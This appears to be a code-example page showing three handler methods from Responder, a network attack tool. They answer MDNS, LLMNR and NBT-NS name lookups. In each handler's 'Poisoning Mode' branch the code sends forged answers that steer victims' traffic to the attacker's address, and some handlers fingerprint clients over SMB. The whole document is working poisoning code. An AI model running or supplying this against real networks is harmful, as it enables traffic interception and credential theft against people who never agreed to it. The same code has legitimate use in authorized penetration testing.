Beispiel #1
0
    def handle(self):
        MADDR = "224.0.0.251"
        MPORT = 5353

        data, soc = self.request
        Request_Name = Parse_MDNS_Name(data)

        # Break out if we don't want to respond to this host
        if (not Request_Name) or (utils.RespondToThisHost(
                self.client_address[0], Request_Name) is not True):
            return None

        if responder_settings.Config.AnalyzeMode:  # Analyze Mode
            if utils.Parse_IPV6_Addr(data):
                print utils.text(
                    '[Analyze mode: MDNS] Request by %-15s for %s, ignoring' %
                    (utils.color(self.client_address[0],
                                 3), utils.color(Request_Name, 3)))
        else:  # Poisoning Mode
            if utils.Parse_IPV6_Addr(data):

                Poisoned_Name = Poisoned_MDNS_Name(data)
                Buffer = MDNS_Ans(AnswerName=Poisoned_Name,
                                  IP=socket.inet_aton(
                                      responder_settings.Config.Bind_To))
                Buffer.calculate()
                soc.sendto(str(Buffer), (MADDR, MPORT))

                print utils.color(
                    '[*] [MDNS] Poisoned answer sent to %-15s for name %s' %
                    (self.client_address[0], Request_Name), 2, 1)
Beispiel #2
0
    def handle(self):
        data, soc = self.request
        Name = Parse_LLMNR_Name(data)

        # Break out if we don't want to respond to this host
        if utils.RespondToThisHost(self.client_address[0], Name) is not True:
            return None

        if data[2:4] == "\x00\x00" and utils.Parse_IPV6_Addr(data):
            Finger = None
            if responder_settings.Config.Finger_On_Off:
                Finger = fingerprint.RunSmbFinger(
                    (self.client_address[0], 445))

            if responder_settings.Config.AnalyzeMode:
                LineHeader = "[Analyze mode: LLMNR]"
                print utils.color(
                    "%s Request by %s for %s, ignoring" %
                    (LineHeader, self.client_address[0], Name), 2, 1)
            else:  # Poisoning Mode
                Buffer = LLMNR_Ans(Tid=data[0:2],
                                   QuestionName=Name,
                                   AnswerName=Name)
                Buffer.calculate()
                soc.sendto(str(Buffer), self.client_address)
                LineHeader = "[*] [LLMNR]"
                print utils.color(
                    "%s  Poisoned answer sent to %s for name %s" %
                    (LineHeader, self.client_address[0], Name), 2, 1)

            if Finger is not None:
                print utils.text("[FINGER] OS Version     : %s" %
                                 utils.color(Finger[0], 3))
                print utils.text("[FINGER] Client Version : %s" %
                                 utils.color(Finger[1], 3))
Beispiel #3
0
    def handle(self):

        data, socket = self.request
        Name = utils.Decode_Name(data[13:45])

        # Break out if we don't want to respond to this host
        if utils.RespondToThisHost(self.client_address[0], Name) is not True:
            return None

        if data[2:4] == "\x01\x10":
            Finger = None
            if responder_settings.Config.Finger_On_Off:
                Finger = fingerprint.RunSmbFinger(
                    (self.client_address[0], 445))

            if responder_settings.Config.AnalyzeMode:  # Analyze Mode
                LineHeader = "[Analyze mode: NBT-NS]"
                print(
                    utils.color(
                        "%s Request by %s for %s, ignoring" %
                        (LineHeader, self.client_address[0], Name), 2, 1))
            else:  # Poisoning Mode
                Buffer = NBT_Ans()
                Buffer.calculate(data)
                socket.sendto(str(Buffer), self.client_address)
                LineHeader = "[*] [NBT-NS]"

                print(
                    utils.color(
                        "%s Poisoned answer sent to %s for name %s (service: %s)"
                        % (LineHeader, self.client_address[0], Name,
                           utils.NBT_NS_Role(data[43:46])), 2, 1))

            if Finger is not None:
                print(
                    utils.text("[FINGER] OS Version     : %s" %
                               utils.color(Finger[0], 3)))
                print(
                    utils.text("[FINGER] Client Version : %s" %
                               utils.color(Finger[1], 3)))